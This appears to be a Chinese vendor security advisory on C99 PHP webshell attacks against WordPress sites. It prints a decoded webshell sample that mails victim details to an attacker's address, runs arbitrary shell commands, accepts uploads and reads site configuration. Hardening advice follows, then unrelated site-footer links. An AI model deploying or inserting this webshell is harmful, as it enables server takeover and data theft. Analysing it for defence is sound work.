wordpress c99 php webshell 攻击加剧 安恒 明御APT预警平台webshell审计 告警
wordpress c99 php webshell 攻击加剧 安恒 明御APT预警平台webshell审计 告警
近期,IBM的管理安全服务(MSS) 团队发出警告,称其监测到通过利用C99 php webshell,大量WordPress站点遭受到新的攻击 ,提醒WordPress站点管理员应及时扫描并修复站点漏洞。
据悉,基于IBM MSS团队长期对恶意事件的监测分析,安全研究人员发现在过去的两个月,出现了类C99 webshell引起的流量异常,其中在二月份监测到的事件数量为404件,而在三月份则达到588件,具体如下
详细新闻见
https://securityintelligence.com/got-wordpress-php-c99-webshell-attacks-increasing/
安恒研究院通过 google搜索 收集了c99 webshell样本
解密后得到
error_reporting ( 0 ) ;
if ( ! isset ( $_SESSION [ ‘bajak’ ])) {
$visitcount = 0 ;
$web = $_SERVER [ ‘HTTP_HOST’ ] ;
$inj = $_SERVER [ ‘REQUEST_URI’ ] ;
$body = “ada yang inject \n { $web }{ $inj }” ;
$safem0de = @ ini_get ( ‘safe_mode’ ) ;
if ( ! $safem0de ) {
$security = ‘SAFE_MODE = OFF’ ;
} else {
$security = ‘SAFE_MODE = ON’ ;
}
$serper = gethostbyname ( $_SERVER [ ‘SERVER_ADDR’ ]) ;
$injektor = gethostbyname ( $_SERVER [ ‘REMOTE_ADDR’ ]) ;
mail ( ‘cumicd@gmail.com’ , “{ $body }” , “Hasil Bajakan http://{ $web }{ $inj } \n { $security } \n IP Server = { $serper } \n IP Injector= { $injektor }” ) ;
$_SESSION [ ‘bajak’ ] = 0 ;
} else {
$_SESSION [ ‘bajak’ ] ++ ;
}
if ( isset ( $_GET [ ‘clone’ ])) {
$source = $_SERVER [ ‘SCRIPT_FILENAME’ ] ;
$desti = $_SERVER [ ‘DOCUMENT_ROOT’ ] . ‘/images/stories/food/footer.php’ ;
rename ( $source , $desti ) ;
}
$safem0de = @ ini_get ( ‘safe_mode’ ) ;
if ( ! $safem0de ) {
$security = ‘SAFE_MODE : OFF’ ;
} else {
$security = ‘SAFE_MODE : ON’ ;
}
echo ‘
’ ;
echo ‘’ . $security . ‘
’ ;
$cur_user = ‘(‘ . get_current_user ( ) . ‘)’ ;
echo ‘User : uid=’ . getmyuid ( ) . $cur_user . ‘ gid=’ . getmygid ( ) . $cur_user . ‘
’ ;
echo ‘Uname : ‘ . php_uname ( ) . ‘
’ ;
function pwd ( )
{
$cwd = getcwd ( ) ;
if ( $u = strrpos ( $cwd , ‘/’ )) {
if ( $u != strlen ( $cwd ) – 1 ) {
return $cwd . ‘/’ ;
} else {
return $cwd ;
}
} elseif ( $u = strrpos ( $cwd , ‘ \\ ‘ )) {
if ( $u != strlen ( $cwd ) – 1 ) {
return $cwd . ‘ \\ ‘ ;
} else {
return $cwd ;
}
}
}
echo ‘
’ ;echo ‘
’ ;if ( isset ( $_POST [ ‘submit’ ])) {
$uploaddir = pwd ( ) ;
if ( ! ( $name = $_POST [ ‘newname’ ])) {
$name = $_FILES [ ‘userfile’ ] [ ‘name’ ] ;
}
move_uploaded_file ( $_FILES [ ‘userfile’ ] [ ‘tmp_name’ ] , $uploaddir . $name ) ;
if ( move_uploaded_file ( $_FILES [ ‘userfile’ ] [ ‘tmp_name’ ] , $uploaddir . $name )) {
echo ‘Upload GAGAL!!!’ ;
} else {
echo ‘Upload Success to ‘ . $uploaddir . $name . ‘ :\P ‘ ;
}
}
if ( isset ( $_POST [ ‘command’ ])) {
$cmd = $_POST [ ‘cmd’ ] ;
echo ‘
<font>’ . shell_exec ( $cmd ) . ‘</font>
} elseif ( isset ( $_GET [ ‘cmd’ ])) {
$comd = $_GET [ ‘cmd’ ] ;
echo ‘
<font>’ . shell_exec ( $comd ) . ‘</font>
} elseif ( isset ( $_GET [ ‘rf’ ])) {
$rf = file_get_contents ( ‘../../configuration.php’ ) ;
echo $rf ;
} else {
echo ‘
<font>’ . shell_exec ( ‘ls -la’ ) . ‘</font>
}
?>
进一步分析 受害wordpress情况发现
https://www.google.com.hk/?gws_rd=ssl#safe=strict&q=pagat+shell
Webshell可允许攻击者在服务器上运行终端命令或上传新的文件到站点上,新的文件可以是更具侵入性的webshells,DDoS客户端,比特币矿工软件或者是其他的恶意软件
据IBM MSS团队称,截至至2016年4月12日,仅通过Google 搜索引擎简单查询,就发现其中约有32000个WordPress站点存在pagat.txt文件
apt预警平台能够实时监测到webshell攻击行为并告警 c99的webshell也没能逃过 apt 预警平台的规则 被准确的告警出来帮助用于第一时间发现webshell攻击行为
安全建议:
基于目前的情况,建议站点管理员可以进行如下操作,
1、编辑php.ini文件,禁用base64解码功能。在php.ini文件中,找到相关配置语句“disable_functions =”,将该语句设置成“disable_functions = eval,base64_decode, gzinflate”;
2、更改上传文件夹名称。WordPress 允许通过上传程序将文件写入到上传文件夹,如果用户仍然使用默认名称,攻击者可较为容易推测到上传文件的具体路径,使得攻击者上传包含 shell 脚本的PHP文件的成本大大降低;
3、安装一款可用性较强的安全插件,如wordfence WordPress 插件;
4、进行安全扫描。建议使用开源扫描工具,对上传文件进行全量扫描,这里可使用扫描工具Modsecurity,同时通过AWVS或者WordPress 安全扫描器对站点进行扫描,及时发现漏洞,并进行修复加固;
5、如果发现站点已经被感染了,建议及时变更站点的所有管理账户密码,并告知站点用户进行密码变更。
安全研究员:zise

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

Alipay PHP...

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1. Use the session_regenerate_id() function to regenerate the session ID, 2. Store session data through the database, 3. Ensure that all session data is transmitted through HTTPS.

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

Sending JSON data using PHP's cURL library In PHP development, it is often necessary to interact with external APIs. One of the common ways is to use cURL library to send POST�...
